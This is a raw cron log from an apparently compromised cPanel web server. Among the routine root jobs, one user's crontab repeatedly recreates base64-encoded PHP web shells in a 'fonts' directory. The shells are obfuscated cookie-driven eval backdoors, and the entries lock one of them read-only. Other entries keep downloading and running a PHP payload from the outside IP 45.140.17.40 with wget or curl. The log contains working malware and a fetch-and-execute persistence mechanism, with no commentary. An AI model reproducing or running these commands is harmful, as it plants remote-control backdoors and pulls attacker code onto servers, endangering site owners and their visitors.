Sep  1 22:56:02 ip-184-168-122-23 CROND[4695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:56:02 ip-184-168-122-23 CROND[4694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:57:01 ip-184-168-122-23 CROND[4775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:57:01 ip-184-168-122-23 CROND[4776]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:57:01 ip-184-168-122-23 CROND[4778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:57:01 ip-184-168-122-23 CROND[4777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:58:01 ip-184-168-122-23 CROND[4856]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:58:01 ip-184-168-122-23 CROND[4858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:58:01 ip-184-168-122-23 CROND[4859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:58:01 ip-184-168-122-23 CROND[4861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:58:01 ip-184-168-122-23 CROND[4860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:59:02 ip-184-168-122-23 CROND[4950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:59:02 ip-184-168-122-23 CROND[4951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:59:02 ip-184-168-122-23 CROND[4953]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:59:02 ip-184-168-122-23 CROND[4954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:00:01 ip-184-168-122-23 CROND[5052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:00:01 ip-184-168-122-23 CROND[5055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:00:01 ip-184-168-122-23 CROND[5056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:00:01 ip-184-168-122-23 CROND[5062]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 23:00:01 ip-184-168-122-23 CROND[5063]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 23:00:01 ip-184-168-122-23 CROND[5068]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:00:01 ip-184-168-122-23 CROND[5069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:00:01 ip-184-168-122-23 CROND[5070]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 23:01:01 ip-184-168-122-23 CROND[5241]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 23:01:01 ip-184-168-122-23 CROND[5242]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 23:01:01 ip-184-168-122-23 CROND[5243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5241]: starting 0anacron
Sep  1 23:01:01 ip-184-168-122-23 CROND[5250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:01:01 ip-184-168-122-23 CROND[5249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:01:01 ip-184-168-122-23 CROND[5256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5263]: finished 0anacron
Sep  1 23:02:01 ip-184-168-122-23 CROND[5344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:02:01 ip-184-168-122-23 CROND[5347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:02:01 ip-184-168-122-23 CROND[5346]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:02:01 ip-184-168-122-23 CROND[5348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:02:01 ip-184-168-122-23 CROND[5349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:03:01 ip-184-168-122-23 CROND[5450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:03:01 ip-184-168-122-23 CROND[5452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:03:01 ip-184-168-122-23 CROND[5454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:03:01 ip-184-168-122-23 CROND[5453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:04:01 ip-184-168-122-23 CROND[5535]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:04:01 ip-184-168-122-23 CROND[5537]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:04:01 ip-184-168-122-23 CROND[5540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:04:01 ip-184-168-122-23 CROND[5538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:04:01 ip-184-168-122-23 CROND[5536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:05:01 ip-184-168-122-23 CROND[5633]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:05:01 ip-184-168-122-23 CROND[5636]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 23:05:01 ip-184-168-122-23 CROND[5635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:05:01 ip-184-168-122-23 CROND[5637]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 23:05:01 ip-184-168-122-23 CROND[5638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:05:01 ip-184-168-122-23 CROND[5640]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 23:05:01 ip-184-168-122-23 CROND[5639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:06:01 ip-184-168-122-23 CROND[5803]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:06:01 ip-184-168-122-23 CROND[5805]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:06:01 ip-184-168-122-23 CROND[5807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:06:01 ip-184-168-122-23 CROND[5808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:06:01 ip-184-168-122-23 CROND[5809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:07:01 ip-184-168-122-23 CROND[5953]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:07:01 ip-184-168-122-23 CROND[5954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:07:01 ip-184-168-122-23 CROND[5955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:07:01 ip-184-168-122-23 CROND[5956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:08:01 ip-184-168-122-23 CROND[6030]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:08:01 ip-184-168-122-23 CROND[6032]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:08:01 ip-184-168-122-23 CROND[6033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:08:01 ip-184-168-122-23 CROND[6034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
